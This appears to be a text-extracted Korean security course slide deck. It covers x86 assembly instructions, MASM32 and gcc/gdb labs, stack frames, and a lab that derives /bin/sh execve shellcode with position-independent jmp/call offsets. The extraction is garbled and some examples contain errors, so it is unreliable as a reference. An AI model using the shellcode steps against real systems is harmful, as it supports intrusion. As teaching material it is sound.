는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

